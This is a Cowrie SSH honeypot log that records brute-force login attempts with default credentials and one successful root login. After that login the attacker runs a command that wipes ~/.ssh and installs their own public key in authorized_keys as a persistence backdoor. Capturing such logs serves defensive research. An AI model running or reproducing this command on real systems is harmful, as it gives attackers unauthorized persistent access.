{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:55:15.730488Z","src_ip":"2.57.122.210","session":"f9a1484ca4d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.193.178.240","src_port":58698,"dst_ip":"159.203.135.109","dst_port":22,"session":"1779a9c81f42","protocol":"ssh","message":"New connection: 103.193.178.240:58698 (159.203.135.109:22) [session: 1779a9c81f42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:55:16.621174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:55:16.624861Z","src_ip":"103.193.178.240","session":"1779a9c81f42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:55:16.874884Z","src_ip":"103.193.178.240","session":"1779a9c81f42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.52.15.213","src_port":63724,"dst_ip":"10.17.0.5","dst_port":22,"session":"b97a409e0f9f","protocol":"ssh","message":"New connection: 152.52.15.213:63724 (10.17.0.5:22) [session: b97a409e0f9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:55:18.416411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:55:18.460268Z","src_ip":"152.52.15.213","session":"b97a409e0f9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:55:18.704266Z","src_ip":"152.52.15.213","session":"b97a409e0f9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"irene","password":"12345","message":"login attempt [irene/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:55:19.062865Z","src_ip":"103.193.178.240","session":"1779a9c81f42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"peertube","password":"123456","message":"login attempt [peertube/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:55:19.659569Z","src_ip":"152.52.15.213","session":"b97a409e0f9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:55:20.315416Z","src_ip":"103.193.178.240","session":"1779a9c81f42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:55:20.902663Z","src_ip":"152.52.15.213","session":"b97a409e0f9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.89","src_port":52074,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee8f66ecc200","protocol":"ssh","message":"New connection: 165.154.6.89:52074 (10.17.0.5:22) [session: ee8f66ecc200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:55:41.588576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:55:41.592899Z","src_ip":"165.154.6.89","session":"ee8f66ecc200","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:55:41.805617Z","src_ip":"165.154.6.89","session":"ee8f66ecc200","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"icecast","password":"icecast123","message":"login attempt [icecast/icecast123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:55:42.687470Z","src_ip":"165.154.6.89","session":"ee8f66ecc200","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:55:43.902799Z","src_ip":"165.154.6.89","session":"ee8f66ecc200","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":60614,"dst_ip":"10.17.0.5","dst_port":22,"session":"8695160f7f5e","protocol":"ssh","message":"New connection: 2.57.122.208:60614 (10.17.0.5:22) [session: 8695160f7f5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:03.017539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:03.057292Z","src_ip":"2.57.122.208","session":"8695160f7f5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:03.157005Z","src_ip":"2.57.122.208","session":"8695160f7f5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:03.625074Z","src_ip":"2.57.122.208","session":"8695160f7f5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:04.749983Z","src_ip":"2.57.122.208","session":"8695160f7f5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.52.15.213","src_port":24144,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc94e38b046e","protocol":"ssh","message":"New connection: 152.52.15.213:24144 (10.17.0.5:22) [session: fc94e38b046e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:10.135279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:10.139909Z","src_ip":"152.52.15.213","session":"fc94e38b046e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:10.361023Z","src_ip":"152.52.15.213","session":"fc94e38b046e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"central","password":"123456","message":"login attempt [central/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:11.281658Z","src_ip":"152.52.15.213","session":"fc94e38b046e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:12.504897Z","src_ip":"152.52.15.213","session":"fc94e38b046e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.201.200.162","src_port":52234,"dst_ip":"10.17.0.5","dst_port":22,"session":"49a574b29cf7","protocol":"ssh","message":"New connection: 128.201.200.162:52234 (10.17.0.5:22) [session: 49a574b29cf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:17.375098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:17.379870Z","src_ip":"128.201.200.162","session":"49a574b29cf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:17.507766Z","src_ip":"128.201.200.162","session":"49a574b29cf7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"asd123","message":"login attempt [root/asd123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:18.053136Z","src_ip":"128.201.200.162","session":"49a574b29cf7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:18.348722Z","src_ip":"128.201.200.162","session":"49a574b29cf7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:18.351733Z","src_ip":"128.201.200.162","session":"49a574b29cf7","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:18.355640Z","src_ip":"128.201.200.162","session":"49a574b29cf7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:18.486560Z","src_ip":"128.201.200.162","session":"49a574b29cf7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:18.774917Z","src_ip":"128.201.200.162","session":"49a574b29cf7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:18.778210Z","src_ip":"128.201.200.162","session":"49a574b29cf7","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:18.911153Z","src_ip":"128.201.200.162","session":"49a574b29cf7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:18.915532Z","src_ip":"128.201.200.162","session":"49a574b29cf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.201.200.162","src_port":52238,"dst_ip":"10.17.0.5","dst_port":22,"session":"d25d820a5279","protocol":"ssh","message":"New connection: 128.201.200.162:52238 (10.17.0.5:22) [session: d25d820a5279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:19.009719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:19.014743Z","src_ip":"128.201.200.162","session":"d25d820a5279","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:19.125731Z","src_ip":"128.201.200.162","session":"d25d820a5279","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:19.601666Z","src_ip":"128.201.200.162","session":"d25d820a5279","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:20.716009Z","src_ip":"128.201.200.162","session":"d25d820a5279","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.201.200.162","src_port":52240,"dst_ip":"10.17.0.5","dst_port":22,"session":"535f7ecd639e","protocol":"ssh","message":"New connection: 128.201.200.162:52240 (10.17.0.5:22) [session: 535f7ecd639e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:20.823484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:56:20.827876Z","src_ip":"128.201.200.162","session":"535f7ecd639e","protocol":"ssh"}
